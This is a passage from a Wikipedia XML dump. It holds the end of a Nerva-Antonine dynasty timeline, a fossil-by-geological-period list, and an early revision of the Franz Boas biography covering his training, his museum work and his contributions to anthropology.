    id:blue      value:rgb(1,1,0.7)   # light blue
    id:cyan      value:rgb(0.7,1,1)   # light blue
    id:purple    value:rgb(1,0.7,1)   # light purple
    id:grey      value:gray(0.8)      # grey

Period      = from:90 till:190
TimeAxis    = orientation:horizontal
ScaleMajor  = unit:year increment:10 start:90
ScaleMinor = unit:year increment:5 start:95

BarData=
  bar:barre1

PlotData=

  align:center textcolor:black fontsize:8 mark:(line,black) shift:(0,-5)

  bar:barre1
  from:    96   till:  98   color:purple   text:[[Nerva]]                         
  from:    98   till:  117  color:yellow   text:[[Trajan]]
  from:    117  till:  138  color:blue     text:[[Hadrian]]
  from:    138  till:  161  color:red      text:[[Antoninus Pius]]
  from:    161  till:  180  color:green    text:[[Marcus Aurelius]]]

&lt;/timeline&gt;


[[Category:Roman Empire]][[Category:Families of Rome]][[Category:Nerva-Antonine Dynasty]][[Category:Royal families]]

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  <page>
    <title>Fossile</title>
    <id>11696</id>
    <revision>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fossil]]
</text>
    </revision>
  </page>
  <page>
    <title>Fossils and the geological timescale</title>
    <id>11697</id>
    <revision>
      <id>41184072</id>
      <timestamp>2006-02-25T16:50:56Z</timestamp>
      <contributor>
        <username>Ollj</username>
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      <minor />
      <comment>mergeto|Geologic time scale</comment>
      <text xml:space="preserve">Different [[fossil]]s were laid down at different points in the [[geology|geological]] timescale: 

{{mergeto|Geologic time scale}}

*''[[Precambrian]]'' (3.8 billion to 570 million years ago)
**[[Bacterium|Bacteria]] and blue-green [[algae]]
**First complex multicellular organisms and soft-bodied animals, [[Charnia]] 
*''[[Cambrian]]'' (570 to 500 million years ago)
**First [[invertebrate]]s
*''[[Ordovician]]'' (500 to 440 million years ago)
*''[[Silurian]]'' (440 to 410 million years ago)
**First land [[plant]]s
**First land invertebrates
*''[[Devonian period|Devonian]]'' (410 to 365 million years ago)
**First ferns and seed plants
**First [[insect]]s
**First [[Amphibia|amphibians]]
**First [[ammonite]]s
*''[[Carboniferous]]'' (365 to 290 million years ago)
**First flying insects
**First [[reptile]]s
*''[[Permian]]'' (290 to 245 million years ago)
**Extinction of [[trilobite]]s
*''[[Triassic]]'' (245 to 210 million years ago)
**First [[dinosaur]]s
**First [[mammal]]s
*''[[Jurassic]]'' (210 to 140 million years ago)
**First [[Aves|bird]]s
*''[[Cretaceous]]'' (140 to 65 million years ago)
**First [[Angiosperm|flowering plant]]s
**First [[primate]]s
**Extinction of dinosaurs
**Extinction of [[ammonite]]s
*''[[Paleocene]]'' (65 to 55 million years ago)
**Diversification and spreading of mammals
*''[[Eocene]]'' (55 to 38 million years ago)
*''[[Oligocene]]'' (38 to 25 million years ago)
**First [[Poaceae|grass]]
*''[[Miocene]]'' (25 to 5 million years ago)
*''[[Pliocene]]'' (5 to 2 million years ago)
**First [[hominid]]s

[[Category:Paleontology]]

[[de:Wikipedia:WikiProjekt Paläo/Geologische Zeitskala]]</text>
    </revision>
  </page>
  <page>
    <title>Franz Boas</title>
    <id>11698</id>
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        <username>Mystic Pixel</username>
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      <minor />
      <comment>/* Post-Graduate Studies: from Geography to Anthropology */</comment>
      <text xml:space="preserve">[[Image:FranzBoas.jpg|thumb|right|Franz Boas]]
'''Franz Boas''' ([[July 9]], [[1858]] &amp;ndash; [[December 22]], [[1942]]) was one of the pioneers of modern [[anthropology]] and is often called the &quot;Father of American Anthropology&quot;. A [[Germany|German]] by birth, Boas worked for most of his life in [[North America]]. Like many such pioneers, he trained in other disciplines; he received his doctorate in [[physics]], and did post-doctoral work in [[geography]]. 

==Early life and education==

Franz Boas was born in [[Minden]], [[Westphalia]].  Although his grandparents were observant [[Jew]]s, his parents, like most German Jews, embraced [[Age of Enlightenment|Enlightenment]] values, including their assimilation into modern [[Germany|German]] society.  Boas was sensitive about his Jewish background, and while he vocally opposed anti-Semitism, and refused to convert to [[Christianity]], he did not identify himself as a Jew.  In an autobiographical sketch, Boas wrote:
:The background of my early thinking was a German home in which the ideals of the [[revolutions of 1848|revolution of 1848]] were a living force.  My father, liberal, but not active in public affairs; my mother, idealistic, with a lively interest in public matters; the founder about 1854 of the kindergarten in my home town, devoted to science.  My parents had broken through the shackles of dogma.  My father had retained an emotional affection for the ceremonial of his parental home, without allowing it to influence his intellectual freedom.

From his early experience at the Froebel kindergarten in Minden, to his studies at ''[[Gymnasium (school)|Gymnasium]]'', Boas was exposed to, and interested in, natural history.  Of his work at ''Gymnasium'', he was most excited by and proud of his research on the geographic distribution of plants.  Nevertheless, when Boas attended university &amp;mdash; first at Heidelberg, then Bonn &amp;mdash; he focused on [[mathematics]] and physics (although he also attended a few courses in [[geography]], including one taught by [[Theobald Fischer]]).  He intended then to study physics at Berlin, but chose to attend the university at Kiel, in order to be closer to his family.  There he studied physics with [[Gustav Karsten]].  Boas wished to conduct research concerning Gauss's law of the [[normal distribution]] of errors, but Karsten instructed him to research the optical properties of water instead.  That research became the basis of his doctoral dissertation. 

Boas received his doctorate in physics from the university at Kiel in 1881.  He was unhappy with his dissertation, but intrigued by the problems of perception that plagued his research.  Boas had developed an interest in [[Immanuel Kant|Kantian]] thought when he took a course on [[aesthetics]] with [[Kuno Fischer]] at Heidelberg, and at Bonn took courses with [[Benno Erdmann]], leading Kantian philosophers. This interest led him to &quot;psychophysics,&quot; which addressed [[psychology|psychological]] and [[epistemology|epistemological]] problems in physics.  He again considered moving to Berlin to study psychophysics with [[Hermann von Helmholtz]], but psychophysics was of dubious status, and Boas had no training in psychology.

==Post-Graduate Studies: from Geography to Anthropology==
Coincidentally, Theobald Fischer had moved to Kiel, and Boas took up geography as a way to explore his budding interest in the relationship between subjective experience and the objective world.  At the time, German geographers were divided over the causes of cultural variation.  Many argued that the physical environment was the principal determining factor, but others (notably [[Friedrich Ratzel]]) argued that the diffusion of ideas through human migration is more important.  In 1883 Boas went to [[Baffin Island]] to conduct geographic research on the impact of the physical environment on native (Inuit) migrations.  He returned to Berlin to finish his studies, and in 1886 (with Helmholtz' support) he successfully defended his habilitation thesis, ''Baffin Land'', and was named ''[[privatdozent]]'' in geography.  

While on Baffin Island he began to develop his interest in studying non-Western cultures (in 1888 he published a book, ''The Central Eskimo'').  Moreover, in 1885 Boas went to work with physical anthropologist [[Rudolf Virchow]] and Ethnologist [[Adolf Bastian]] at the Royal Ethnological Museum in Berlin.  Boas had studied anatomy with Virchow two years earlier, while preparing for the Baffin Island expedition.  At the time, Virchow was involved in a vociferous debate with his former student, [[Ernst Haeckel]], over evolution.  Haeckel had abandoned his medical practice to study comparative anatomy after reading [[Charles Darwin]]'s ''The Origin of Species'', and vigorously promoted Darwin's ideas in Germany.  Like most other natural scientists prior to the rediscovery of [[Mendelian genetics]] in 1909 and the development of the [[modern synthesis]] in 1918, however, Virchow felt that Darwin's theories were weak because they lacked a theory of cellular mutability.  Accordingly, Virchow favored [[Jean-Baptiste Lamarck|Lamarckian]] models of evolution.  This debate resonated with debates among geographers. Lamarckians believed that environmental forces could precipitate rapid and enduring changes in organisms that had no inherited source; thus, Lamarckians and environmental determinists often found themselves on the same side of debates.

But Boas worked more closely with Bastian, who was noted for his antipathy to environmental determinism.  Instead, he argued for the &quot;psychic unity of mankind;&quot; a belief that all humans had the same intellectual capacity, and that all cultures were based on the same basic mental principles.  Variations in custom and belief, he argued, were the products of historical accidents.  This view resonated with Boas's experiences on Baffin Island, and drew him towards anthropology.

While at the Royal Ethnological Museum Boas became interested in the Native Americans in the Pacific Northwest, and after defending his habilitation thesis, he left for a three month trip to British Columbia via New York.  In January, 1887, he was offered a job as assistant editor of the journal ''Science'', in New York.  Alienated by growing [[anti-Semitism]] and nationalism, as well as the very limited academic opportunities for a geographer, in Germany, Boas decided to stay in the United States.

Aside from his editorial work at ''Science,'' Boas secured an appointment as ''dozent'' in anthropology at [[Clark University]], in 1888.  Boas's opportunities at Clark were limited, however, because the university did not have an anthropology department.  Moreover, Boas was concerned about University president [[G. Stanley Hall]]'s interference in his research.  In 1892 Boas joined a number of other Clark faculty in resigning, to protest Hall's infringement on academic freedom.  Boas was then appointed chief assistant in anthropology at the [[1893]] [[World's Columbian Exposition]] in Chicago.

==Fin de Siècle Debates==
===Science versus History===
Some scholars, like Boas's student [[Alfred Kroeber]], believed that Boas used his research in physics as a model for his work in anthropology.  Many others, however &amp;mdash; including Boas's student [[Alexander Lesser]], and later researchers such as [[Marian W. Smith]], [[Herbert S. Lewis]], and [[Matti Bunzl]] &amp;mdash; have pointed out that Boas explicitly rejected physics in favor of history as a model for his anthropological research.

This distinction between science and history has its origins in 19th century German academe, which distinguished between ''Naturwissenschaften'' (the sciences) and ''Geisteswissenschaften'' (the humanities), or between ''Gesetzwissenschaften'' (the law-giving sciences) and ''Geschichtswissenschaften'' (history).  Generally, the first term in either binary refers to the study of phenomena that are governed by objective natural laws; the second term refers to those phenomena that have meaning only in terms of human perception or experience.  In 1884 [[Immanuel Kant|Kantian]] philosopher [[Wilhelm Windelband]] coined the terms [[nomothetic]] and [[idiographic]] to describe these two divergent approaches.  He observed that most scientists employ some mix of both, but in differing proportions; he considered physics a perfect example of a nomothetic science, and history, an idiographic science.  Moreover, he argued that each approach has its origin in one of the two &quot;interests&quot; of reason [[Immanuel Kant|Kant]] had identified in the ''Critique of Judgement'' &amp;mdash; one &quot;generalizing,&quot; the other &quot;specifying.&quot; (Winkelband's student [[Heinrich Rickert]] elaborated on this distinction in ''The Limits of Concept Formation in Natural Science : A Logical Introduction to the Historical Sciences''; Boas's students [[Alfred Kroeber]] and [[Edward Sapir]] relied extensively on this work in defining their own approach to anthropology.) 

Although Kant considered these two interests of reason to be objective and universal, the distinction between the natural and human sciences was institutionalized in Germany, through the organization of scholarly research and teaching, following the Enlightenment. In Germany the Enlightenment was dominated by Kant himself, who sought to establish principles based on universal rationality.  In reaction to Kant, German scholars such as [[Johann Gottfried Herder]] argued that human creativity, which necessarily takes unpredictable and highly diverse forms, is as important as human rationality.  In 1795 the great linguist and philosopher [[Wilhelm von Humboldt]] called for an anthropology that would synthesize Kant's and Herder's interests.  Humboldt founded the University of Berlin in 1809, and his work in geography, history, and psychology provided the milieu in which Boas's intellectual orientation matured.  

Historians working in the Humboldtian tradition developed ideas that would become central in Boasian anthropology.  [[Leopold von Ranke]] defined the task of the historian as &quot;merely to show as it actually was,&quot; which is a cornerstone of Boas's empiricism.  [[Wilhelm Dilthey]] emphasized the centrality of &quot;understanding&quot; to human knowledge, and that the lived experience of an historian could provide a basis for an empathic understanding of the situation of an historical actor.  For Boas, both values were well-expressed in a quote from Goethe: &quot;A single action or event is interesting, not because it is explainable, but because it is true.&quot;

The influence of these ideas on Boas is apparent in his 1887 essay, &quot;The Study of Geography,&quot; in which he distinguished between physical science, which seeks to discover the laws governing phenomena, and historical science, which seeks a thorough understanding of phenomena on their own terms.  Boas argued that geography is and must be historical in this sense.  In 1887, after his Baffin Island expedition, Boas wrote &quot;The Principles of Ethnological Classification,&quot; in which he developed this argument in application to anthropology:
:Ethnological phenomena are the result of the physical and psychical character of men, and of its development under the influence of the surroundings...'Surroundings' are the physical conditions of the country, and the sociological phenomena, i.e., the relation of man to man. Furthermore, the study of the present surroundings is insufficient: the history of the people, the influence of the regions through which it has passed on its migrations, and the people with whom it came into contact, must be considered.
This formulation echoes Ratzel's focus on historical processes of human migration and culture contact, and Bastian's rejection of environmental determinism.  It also emphasizes culture as a context (&quot;surroundings&quot;), and the importance of history.  These are the hallmarks of Boasian anthropology (which [[Marvin Harris]] would later call &quot;historical-particularism&quot;), would guide Boas's research over the next decade, as well as his instructions to future students. (see Lewis 2001b for an alternative view to Harris'.)

Although context and history were essential elements to Boas's understanding of anthropology as ''Geisteswissenschaften'' and ''Geschichtswissenschaften'', there is one essential element that Boasian anthropology shares with ''Naturwissenschaften'': empiricism.  In 1949 Boas's student, [[Alfred Kroeber]] summed up the principles of empiricism that define Boasian anthropology as a science:
# The method of science is to begin with questions, not with answers, least of all with value judgements.
# Science is dispassionate inquiry and therefore cannot take over outright any ideologies &quot;already formulated in everyday life,&quot; since these are themselves inevitably traditional and normally tinged with emotional prejudice.
# Sweeping all-or-none, black-and-white judgements are characteristic of totalitarian attitudes and have no place in science, whose very nature is inferential and judicial.

===Orthogenetic versus Darwinian Evolution===
One of the greatest accomplishments of Boas and his students was their critique of theories of physical, social, and cultural evolution current at that time.  This critique is central to Boas's work in museums, as well as his work in all four fields of anthropology.

For this reason, some people have argued that Boasian anthropology is at odds with [[Charles Darwin|Darwin's]] theory of [[Evolution]].  This argument is unfounded, and mistakenly assumes that people using the word &quot;evolution&quot; always mean the same thing.  In fact, Boas supported Darwinian theory, although he did not assume that it automatically applied to cultural and historical phenomena. The notion of evolution that the Boasians ridiculed and rejected was the then dominant belief in [[&quot;orthogenesis&quot;]] &amp;ndash; a determinate or teleological process of evolution in which change occurs progressively regardless of natural selection.  Boas rejected the prevalent theories of social evolution developed by [[Edward Burnett Tylor]], [[Lewis Henry Morgan]], and [[Herbert Spencer]] not because he rejected the notion of &quot;evolution&quot; ''per se'', but because he rejected orthogenetic notions of evolution in favor of Darwinian evolution.

The difference between these prevailing theories of cultural evolution and Darwinian theory cannot be overstated: these theorists argued that all societies progress through the same stages in the same sequence.  Thus, although the Inuit with whom Boas worked at Baffin Island, and the Germans with whom he studied as a graduate student, were contemporaries of one another, evolutionists argued that the Inuit were at an earlier stage in their evolution, and Germans at a later stage.  This echoed a popular misreading of Darwin that suggested that human beings are descended from chimpanzees.  In fact, Darwin argued that chimpanzees and humans are equally evolved.  What characterizes Darwinian theory is its attention to the ''processes'' by which one species transforms into another; &quot;adaptation&quot; as a key principle in explaining the relationship between a species and its environment; and &quot;natural selection&quot; as a mechanism of change.  In contrast, Morgan, Spencer, and Tylor had little to say about the process and mechanics of change.  

Furthermore, Darwin built up his theory through a careful examination of considerable empirical data.  Boasian research revealed that virtually every claim made by cultural evolutionists was contradicted by the data, or reflected a profound misinterpretation of the data.  As Boas's student [[Robert Lowie]] remarked, &quot;Contrary to some misleading statements on the subject, there have been no responsible opponents of evolution as ''scientifically proved'', though there has been determined hostility to an evolutionary metaphysics that falsifies the established facts.&quot;

In an unpublished lecture, Boas characterized his debt to Darwin thus:
:Although the idea does not appear quite definitely expressed in Darwin's discussion of the development of mental powers, it seems quite clear that his main object has been to express his conviction that the mental faculties developed essentially without a purposive end, but they originated as variations, and were continued by natural selection.  This idea was also brought out very clearly by Wallace, who emphasized that apparently reasonable activities of man might very well have developed without an actual application of reasoning
Thus, Boas suggested that what appear to be patterns or structures in a culture were not a product of conscious design, but rather the outcome of diverse mechanisms that produce cultural variation (such as diffusion and independent invention), shaped by the social environment in which people live and act.  Boas concluded his lecture by acknowledging the importance of Darwin's work:
:I hope I may have succeeded in presenting to you, however imperfectly, the currents of thought due to the work of the immortal Darwin which have helped to make anthropology what it is at the present time. (Boas, 1909 lecture; see Lewis 2001b.)

==Early career: Museum Studies==
In the late 1800s anthropology in the United States was dominated by the [[Bureau of American Ethnology]], directed by [[John Wesley Powell]], a geologist who favored [[Lewis Henry Morgan]]'s theory of [[cultural evolution]].  The BAE was housed at the [[Smithsonian Institution]] in Washington, and the Smithsonian's curator for ethnology, [[Otis T. Mason]], shared Powell's commitment to cultural evolution.  (The Peabody Museum at [[Harvard University]] was an important, though lesser, center of anthropological research).

It was while working on museum collections and exhibitions that Boas formulated his basic approach to culture, which led him to break with museums and seek to establish anthropology as an academic discipline.

During this period Boas made five more trips to the Pacific Northwest.  His continuing field research led him to think of culture as a local context for human action.  His emphasis on local context and history led him to oppose the dominant model at the time, [[Cultural evolution]].  
 
Boas initially broke with evolutionary theory over the issue of kinship.  [[Lewis Henry Morgan]] had argued that all human societies move from an initial form of [[matrilineal]] organization to [[patrilineal]] organization.  Indian groups on the northern coast of British Columbia, like the [[Tsimshian]] and [[Tlingit]], were organized into matrilineal clans.  Indians on the southern coast, like the [[Nootka]] and the [[Salish]], however, were organized into patrilineal groups.  Boas focused on the [[Kwakiutl]], who lived between the two clusters.  The Kwakiutl seemed to have a mix of features.  Prior to marriage, a man would assume his wife's father's name and crest.  His children took on these names and crests as well, although his sons would lose them when they got married.  Names and crests thus stayed in the mother's line.  At first, Boas &amp;mdash; like Morgan before him &amp;mdash; suggested that the Kwakiutl had been matrilineal like their neighbors to the north, but that they were beginning to evolve patrilineal groups.  In 1897, however, he repudiated himself, and argued that the Kwakiutl were changing from a prior patrilineal organization to a matrilineal one, as they learned about matrilineal principles from their northern neighbors.  

Boas's rejection of Morgan's theories led him, in an 1887 article, to challenge Mason's principles of museum display.  At stake, however, were more basic issues of causality and classification.  The evolutionary approach to material culture led museum curators to organize objects on display according to function or level of technological development. Curators assumed that changes in the forms of artefacts reflect some natural process of progressive evolution.  Boas, however, felt that the form an artefact took reflected the circumstances under which it was produced and used.  Arguing that &quot;[t]hough like causes have like effects, like effects have not like causes,&quot; Boas realized that even artefacts that were similar in form might have developed in very different contexts, for different reasons.  Mason's museum displays, organized along evolutionary lines, mistakenly juxtapose like effects; those organized along contextual lines would reveal like causes. 

Boas had a chance to apply his approach to exhibits when he was hired to assist [[Frederick Ward Putnam]], director and curator of the Peabody Museum at [[Harvard University]], who had been appointed as head of the Department of Ethnology and Archeology for the Chicago Fair in 1892. Boas arranged for fourteen Kwakiutl Indians from British Columbia to come and reside in a mock Kwakiutl village, where they could perform their daily tasks in context.

After the Exposition Boas worked at the newly-created [[Field Museum]] in Chicago until 1894, when he was replaced (against his will) by BAE archeologist [[William Henry Holmes]].  In 1896 Boas was appointed Assistant Curator of Ethnology and Somatology of the [[American Museum of Natural History]]. In 1897 he organized the Jesup Expedition, a five-year long field-study of the natives of the Pacific Northwest, whose ancestors had migrated across the Bering Strait from Siberia.  He attempted to organize exhibits along contextual, rather than evolutionary, lines.  He also developed a research program in line with his curatorial goals: describing his instructions to his students in terms of widening contexts of interpretation within a society, he explained that &quot;...they get the specimens; they get explanations of the specimens; they get connected texts that partly refer to the specimens and partly to abstract things concerning the people; and they get grammatical information.&quot; These widening contexts of interpretation were abstracted into one context, the context in which the specimens, or assemblages of specimens, would be displayed: &quot;...we want a collection arranged according to tribes, in order to teach the particular style of each group.&quot;  His approach, however, brought him into conflict with the President of the Museum, [[Morris Jesup]], and its Director, [[Hermon Bumpus]].  He resigned in 1905, never to work for a museum again.

==Later Career: Academic Anthropology==
Boas had been appointed lecturer in physical anthropology at [[Columbia University]] in 1896, and had been promoted to professor of anthropology in 1899.  Nevertheless, the various anthropologists teaching at Columbia had been assigned to different departments.  When Boas left the Museum of Natural History, he negotiated with Columbia University to consolidate the various professors into one department, of which Boas would take charge.  Boas's program at Columbia became the first [[Doctor of Philosophy|Ph.D.]] program in [[anthropology]] in America.

During this time Boas played a key role in organizing the American Anthropological Association as an umbrella organization for the emerging field.  Boas originally wanted the AAA to be limited to professional anthropologists, but W.J. McGee (another geologist who had joined the BAE under Powell's leadership) argued that the organization should have an open membership.  McGee's position prevailed and he was elected the organization's first president in 1902; Boas was elected a vice-president, along with Putnam, Powell, and Holmes.

At both Columbia and the AAA, Boas encouraged the &quot;four field&quot; concept of anthropology; he personally contributed to [[physical anthropology]], [[linguistics]], [[archaeology]], as well as [[cultural anthropology]].  His work in these fields was pioneering: in physical anthropology he led scholars away from static taxonomical classifications of race, to an emphasis on human biology and evolution; in linguistics he broke through the limitations of classic [[philology]] and established some of the central problems in modern linguistics and cognitive anthropology; in cultural anthropology he (along with [[Bronislaw Malinowski]]) established the contextualist approach to culture, cultural relativism, and the participant-observation method of fieldwork.

The four-field approach understood not merely as bringing together different kinds of anthropologists into one department, but as reconceiving anthropology through the integration of different objects of anthropological research into one over-arching object, was one of Boas's fundamental contributions to the discipline, and came to characterize American anthropology against that of 
[[England]], [[France]], or [[Germany]]. This approach defines as its object the human species as a totality.  This focus did not lead Boas to seek to reduce all forms of humanity and human activity to some lowest common denominator; rather, he understood the essence of the human species to be the tremendous variation in human form and activity (an approach that parallels Charles Darwin's approach to species in general).  

In his 1907 essay, &quot;Anthropology,&quot; Boas identified two basic questions for anthropologists: &quot;Why are the tribes and nations of the world different, and how have the present differences developed?&quot;  Amplifying these questions, he explained the object of anthropological study thus:

:We do not discuss the anatomical, physiological, and mental characteristics of man considered as an individual; but we are interested in the diversity of these traits in groups of men found in different geographical areas and in different social classes. It is our task to inquire into the causes that have brought about the observed differentiation, and to investigate the sequence of events that have led to the establishment of the multifarious forms of human life. In other words, we are interested in the anatomical and mental characteristics of men living under the same biological, geographical, and social environment, and as determined by their past. 

These questions signal a marked break from then-current ideas about human diversity, which assumed that some people have a history, evident in a historical (or written) record, while other people, lacking writing, also lack history.  For some, this distinction between two different kinds of societies explained the difference between history, sociology, economics and other disciplines that focus on people with writing, and anthropology, which was supposed to focus on people without writing.  Boas rejected this distinction between kinds of societies, and this division of labor in the academy.  He understood all societies to have a history, and all societies to be proper objects of anthropological society.  In order to approach literate and non-literate societies the same way, he emphasized the importance on studying human history through the analysis of other things besides written texts.  Thus, in his 1904 article, &quot;The History of Anthropology&quot;, Boas wrote that

:The historical development of the work of anthropologists seems to single out clearly a domain of knowledge that heretofore has not been treated by any other science. It is the biological history of mankind in all its varieties; linguistics applied to people without written languages; the ethnology of people without historic records; and prehistoric archeology. 

Historians and social theorists in the 18th and 19th centuries had speculated as to the causes of this differentiation, but Boas dismissed these theories, especially the dominant theories of [[Social evolution]] and [[Cultural evolution]] as speculative.  He endeavored to establish a discipline that would base its claims on rigorous empirical study.

One of his most important books, ''[[The Mind of Primitive Man]]'' (published in 1911), he integrated these various concerns and established a program that would dominate American anthropology for the next fifteen years.  In this study he established that in any given population, biology, language, material and symbolic culture, are autonomous; that each is an equally important dimension of human nature, but that no one of these dimensions is reducible to another.  In other words, he established that culture does not depend on any independent variables.  He emphasized that the biological, linguistic, and cultural traits of any group of people are the product of historical developments involving both cultural and non-cultural forces.  He established that cultural plurality is a fundamental feature of humankind, and that the specific cultural environment structures much individual behavior.

Boas also presented himself as a role-model for the citizen-scientist, who understand that even were the truth pursued as its own end, all knowledge has moral consequences. ''The Mind of Primitive Man'' ends with an appeal to humanism: 
:I hope the discussions outlined in these pages have shown that the data of anthropology teach us a greater tolerance of forms of civilization different from our own, that we should learn to look on foreign races with greater sympathy and with a conviction that, as all races have contributed in the past to cultural progress in one way or another, so they will be capable of advancing the interests of mankind if we are only willing to give them a fair opportunity.

===Physical Anthropology===
Boas's work in [[physical anthropology]] brought together his interest in Darwinian evolution with his interest in migration as a cause of change.  His most important research in this field was his study of changes in body form among children of immigrants in New York. Other researchers had already noted differences in height, cranial measurements, and other physical features between Americans and people from different parts of Europe. Many used these differences to argue that there is an innate biological difference between races. Boas's primary interest &amp;mdash; in symbolic and material culture and in language &amp;mdash; was the study of processes of change; he therefore set out to determine whether bodily forms are also subject to processes of change.  Boas studied 17,821 people, divided into seven ethno-national groups.  Boas found that average measures of cranial size of immigrants was significantly different from members of these groups who were born in the United States.  Moreover, he discovered that average measures of cranial size of children born within ten years of their mothers' arrival were significantly different from those of children born more than ten years after their mothers' arrival. Boas did not deny that physical features such as height or cranial size were inherited; he did, however, argue that the environment has an influence on these features, which is expressed through change over time. This work was central to his influential argument that differences between races were not immutable. 

These findings were radical at the time and continue to be debated.  In [[2002]] the anthropologists Corey S. Sparks and Richard L. Jantz claimed that differences between children born to the same parents in Europe and America were very small and insignificant, and that there was no detectable effect of exposure to the American environment on the cranial index in children. They argued that their results contradicted Boas's original findings and demonstrated that they may no longer be used to support arguments of plasticity in cranial [[morphology (biology)|morphology]] (see [http://www.pnas.org/cgi/content/full/99/23/14636]). However Jonathan Marks &amp;mdash; a well-known physical anthropologist and former president of the General Anthropology section of the [[American Anthropological Association]] &amp;ndash; has remarked that this revisionist study of Boas's work &quot;has the ring of desperation to it (if not obfuscation), and has been quickly rebutted by more mainstream biological anthropology.&quot; In [[2003]] anthropologists Clarence C. Gravlee, H. Russell Bernard, and William R. Leonard reanalyzed Boas's data and concluded that Boas's original findings were correct.  Moreover, they applied new statistical, computer-assisted methods to Boas's data and discovered even stronger evidence for cranial plasticity. See [http://lance.qualquant.net/gravleeetal03a.pdf]. In a later publication, Gravlee, Bernard and Leonard reviewed Sparks and Jantz' analysis. They argue that Sparks and Jantz misrepresented Boas's claims, and that Sparks' and Jantz's data actually support Boas. For example, they point out that Sparks and Jantz look at changes in cranial size in relation to how long an individual has been in the United States in order to test the influence of the environment.  Boas, however, looked at changes in cranial size in relation to how long the mother had been in the United States. They argue that Boas's method is more useful, because the prenatal environment is a crucial developmental factor. (See [http://www.anthro.fsu.edu/people/faculty/CG_pubs/gravlee03b.pdf].)

Although some [[sociobiology|sociobiologists]] and [[evolutionary psychology|evolutionary psychologists]] have suggested that Boas was opposed to Darwinian evolution, Boas in fact was a committed proponent of Darwinian evolutionary thought.  In 1888 he declared that &quot;the development of ethnology is largely due to the general recognition of the principle of biological evolution;&quot; since Boas's times, physical anthropologists have established that the human capacity for culture is a product of human evolution.  In fact, Boas's research on changes in body form played an important role in the rise of Darwinian theory.  It is crucial to remember that Boas was trained at a time when biologists had no understanding of genetics; [[Mendelian genetics]] became widely known only after 1900.  Prior to that time biologists relied on the measurement of physical traits as empirical data for any theory of evolution.  Boas's biometric studies, however, led him to question the use of this method and kind of data.  In a speech to anthropologists in Berlin in 1912, Boas argued that at best such statistics could only raise biological questions, and not answer them.  It was in this context that anthropologists began turning to genetics as a basis for any understanding of biological variation.

===Linguistics===
Although Boas published descriptive studies of Native American languages, and wrote on theoretical difficulties in classifying languages, he left it to colleagues and students such as [[Edward Sapir]] to research the relationship between culture and language.

His 1889 article &quot;On Alternating Sounds,&quot; however, made a singular contribution to the methodology of both linguistics and cultural anthropology.  It is a response to a paper presented in 1888 by [[Daniel Garrison Brinton]], at the time a professor of American linguistics and archeology at the [[University of Pennsylvania]].  Brinton observed that in the spoken languages of many Native Americans, certain sounds regularly alternated.  This is clearly not a function of individual accents; Brinton was not suggesting that some individuals pronounced certain words differently from others.  He was arguing that there were many words that, even when repeated by the same speaker, varied considerably in their vocalization.  Using evolutionary theory, Brinton argued that this pervasive inconsistency was a sign of linguistic inferiority, and evidence that Native Americans were at a low stage in their evolution.

Boas was familiar with what Brinton was talking about; he had experienced something similar during his research in Baffin Island and in the Pacific Northwest.  Nevertheless, he argued that &quot;alternating sounds&quot; is not at all a feature of Native American languages &amp;mdash; indeed, he argued, they do not really exist.  Rather than take alternating sounds as objective proof of different stages in cultural evolution, Boas considered them in terms of his longstanding interest in the subjective perception of objective physical phenomena.  He also considered his earlier critique of evolutionary museum displays.  There, he pointed out that two things (artefacts of material culture) that appear to be similar may in fact be quite different.  In this article he raises the possibility that two things (sounds) that appear to be different may in fact be the same.

In short, he shifted attention to the ''perception'' of different sounds.  Boas begins by raising an empirical question: when people describe one sound in different ways, is it because they cannot perceive of the difference, or might there be another reason?  He immediately establishes that he is not concerned with cases involving perceptual deficit &amp;mdash; the aural equivalent of color-blindness.  He points out that the question of people who describe one sound in different ways is comparable to that of people who describe different sounds in one way.  This is crucial for research in descriptive [[linguistics]]: when studying a new language, how are we to note the pronunciation of different words?  (in this point, Boas anticipates and lays the groundwork for the distinction between [[Phonemics]] and [[Phonetics]].)  People may pronounce a word in a variety of ways and still recognize that they are using the same word.  The issue, then, is not &quot;that such sensations are not recognized in their individuality&quot; (in other words, people recognize differences in pronunciations); rather, it is that sounds &quot;are classified according to their similarity&quot; (in other words, that people classify a variety of perceived sounds into one category).  A comparable visual example would involve words for colors.  The English word &quot;green&quot; can be used to refer to a variety of shades, hues, and tints.  But there are some languages that have no word for &quot;green.&quot;  In such cases, people might classify what we would call &quot;green&quot; as either &quot;yellow&quot; or &quot;blue.&quot;  This is not an example of color-blindness &amp;mdash; people can perceive differences in color, but they categorize similar colors in a different way than English speakers.

Boas applies these principles to studies of British Columbian Inuit languages.  Researchers have reported a variety of spellings for a given word.  In the past, researchers have interpreted this data in a number of ways &amp;mdash; it could indicate local variations in the pronunciation of a word, or it could indicate different dialects.  Boas argues an alternative explanation: that the difference is not in how Inuit pronounce the word, but rather in how English-speaking scholars perceive the pronunciation of the word.  It is not that English speakers are physically incapable of perceiving the sound in question; rather, the phonetic system of English cannot accommodate the perceived sound.

Although Boas was making a very specific contribution to the methods of descriptive linguistics, his ultimate point is far reaching: observer bias need not be personal, it can be cultural.  In other words, the perceptual categories of Western researchers may systematically cause a Westerner to misperceive or to fail to perceive entirely a meaningful element in another culture.  As in his critique of Otis Mason's museum displays, Boas demonstrated that what appeared to be evidence of cultural evolution was really the consequence of unscientific methods, and a reflection of Westerners beliefs about their own cultural superiority.  This point provides the methodological foundation for Boas's [[cultural relativism]]: elements of a culture are meaningful in that culture's terms, even if they may be meaningless (or take on a radically different meaning) in another culture.

===Cultural Anthropology===

The essence of Boas's approach to ethnography is found in his early essay on &quot;The Study of Geography.&quot;  There he argued for an approach that 
:... considers every phenomena as worthy of being studied for its own sake.  Its mere existence entitles it to a full share of our attention; and the knowledge of its existence and evolution in space and time fully satisfies the student.
When Boas's student [[Ruth Benedict]] gave her presidential address to the American Anthropological Association in 1947, she reminded anthropologists of the importance of this [[idiographic]] stance by quoting literary critic A.C. Bradley: &quot;We watch ''what is'', seeing that so it happened and must have happened.&quot;

This orientation led Boas to promote a cultural anthropology characterized by a strong commitment to
* [[empiricism]] (with a resulting skepticism of attempts to formulate &quot;scientific laws&quot; of culture)
* a notion of [[culture]] as fluid and dynamic
* [[ethnography|ethnographic]] fieldwork, in which the anthropologist resides for an extended period among the people being researched,  conducts research in the native language, and collaborates with native researchers, as a method of collecting data, and
